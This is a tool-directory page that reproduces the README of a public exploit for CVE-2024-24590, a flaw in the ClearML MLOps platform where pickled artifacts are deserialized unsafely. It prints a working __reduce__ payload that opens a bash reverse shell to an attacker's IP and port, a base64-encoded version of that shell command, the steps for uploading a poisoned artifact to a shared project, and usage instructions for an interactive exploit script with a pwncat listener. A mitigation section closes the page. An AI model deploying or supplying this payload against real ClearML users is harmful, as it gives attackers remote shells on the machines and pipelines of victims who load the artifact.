Skip to content
KitploitKITPLOIT
ToolsBlog
Submit
ToolsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

··Feeds·Contact·Privacy·© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
CVE-2024-24590-ClearML-RCE-Exploit — CVE-2024-24590 – ClearML RCE via unsafe pickle artifact deserialization (0.17.0–1.14.2) | Kitploit
Tools/GitHubGitHub/rippsec/cve-2024-24590-clearml-rce-exploit
Payload GenerationVulnerability AnalysisExploitationWeb Application ExploitationPenetration TestingCommand and ControlLearning & EducationRed TeamingRemote Access Tool
GitHubrippsec/cve-2024-24590-clearml-rce-exploit

CVE-2024-24590-ClearML-RCE-Exploit

CVE-2024-24590 – ClearML RCE via unsafe pickle artifact deserialization (0.17.0–1.14.2)

View Repository
624 months agoNot yet reviewed

Most Popular

View all →

Discover the most used tools by our community.

Explore all tools

Browse our collection of tools

View all tools →
Share

CVE-2024-24590 — ClearML Pickle Artifact RCE

Overview

FieldDetails
CVECVE-2024-24590
SoftwareClearML
Affected Versions0.17.0 – 1.14.2
VulnerabilityUnsafe pickle deserialization of task artifacts
AuthenticationRequires write access to a ClearML project
ImpactRemote Code Execution on any machine that loads the artifact
Tested onUbuntu 22.04, Python 3.9+

Description

ClearML is an MLOps platform used to track experiments, manage datasets, and share artifacts (models, files, objects) between team members. When a task artifact is uploaded as a Python object, ClearML serializes it using Python's pickle module. When another user downloads and loads that artifact, ClearML deserializes it — also with pickle — without any integrity verification or class allowlisting.

An attacker with write access to a shared ClearML project can upload a malicious artifact containing an overridden __reduce__ method. Any team member or automated pipeline that fetches and loads that artifact will execute the attacker's payload during deserialization, achieving RCE on their machine.

Technical Details

Root Cause

Python's pickle module is fundamentally unsafe for untrusted input. The __reduce__ magic method on a class controls how it is reconstructed during deserialization — it can return any callable and arguments, including os.system:

root@kitploit:~
class exploit:
    def __reduce__(self):
        return os.system, ("bash -c 'bash -i >& /dev/tcp/<IP>/<PORT> 0>&1'",)

When pickled and later unpickled, Python calls os.system(cmd) as part of object reconstruction — before the caller has any chance to inspect the object.

Attack Flow

root@kitploit:~
Attacker (project write access)
    │
    ▼
task = Task.init(project_name="shared-project", task_name="exploit")
task.upload_artifact("model", artifact_object=exploit())
    │
    ▼
ClearML server stores artifact as a pickled binary blob
    │
    ▼
Victim fetches artifact (automated pipeline / manual review)
    task.artifacts["model"].get()
    │
    ▼
pickle.loads(blob) → __reduce__ fires → os.system(reverse_shell_cmd)
    │
    ▼
Reverse shell connects back to attacker

Payload Encoding

The reverse shell command is Base64-encoded before embedding to avoid shell quoting issues in the serialized string:

root@kitploit:~
bash_cmd = f'bash -c "bash -i >& /dev/tcp/{ip}/{port} 0>&1"'
b64 = base64.b64encode(bash_cmd.encode()).decode()
cmd = f'echo {b64} | base64 -d | sh'

Prerequisites

  • A ClearML account with write access to at least one project on the target server
  • The victim must deserialize the artifact (fetch it via the ClearML SDK)

Installation

root@kitploit:~
git clone https://github.com/rippsec/CVE-2024-24590-ClearML-RCE-Exploit.git
cd CVE-2024-24590-ClearML-RCE-Exploit
pip install -r requirements.txt

Requirements: clearml, pwntools, colorama

Usage

root@kitploit:~
python3 exploit.py

The interactive menu walks through two steps:

Step 1 — Initialize ClearML (option 1)

Runs clearml-init to configure credentials for the target ClearML server. Backs up any existing ~/clearml.conf first.

Step 2 — Run exploit (option 2)

Prompts for:

  • Your listener IP
  • Your listener port
  • Target project name (case-sensitive — must be a project you have write access to)

Optionally starts a pwncat listener automatically before uploading the artifact.

screenshot

Mitigation

  • Upgrade to ClearML ≥ 1.14.3 which restricts artifact deserialization
  • Audit project access controls — limit write access to trusted users only
  • Treat ClearML artifact storage as an untrusted code execution surface if using older versions

References

  • NVD Entry
  • ClearML GitHub
  • Python pickle security warning
Download Tool